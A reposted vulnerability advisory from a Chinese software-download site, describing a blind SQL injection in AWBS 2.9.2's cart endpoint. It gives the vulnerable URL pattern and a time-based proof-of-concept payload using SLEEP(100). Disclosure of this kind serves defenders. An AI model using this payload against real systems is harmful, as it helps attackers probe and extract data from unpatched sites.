AWBS 2.9.2 Blind SQL 注入0day

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

AWBS 2.9.2 Blind SQL 注入0day

  2020-12-04 我要评论

  影响版本:AWBS 2.9.2

  官方网站:http://www.awbs.com

  漏洞类型:SQL注入

  漏洞描述:

  ---Vulnerability---

  http(s)://[HOST]/cart?ca=add_other&oid=[TRUE VALUE]'[BLIND-SQL]

  =============================================================================================

  ---PoC Using Time-Based Blind SQL Injection---

  https://www.vulnerablehost.com/cart?ca=add_other&oid=1'%20AND%20SLEEP(100)='

 

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们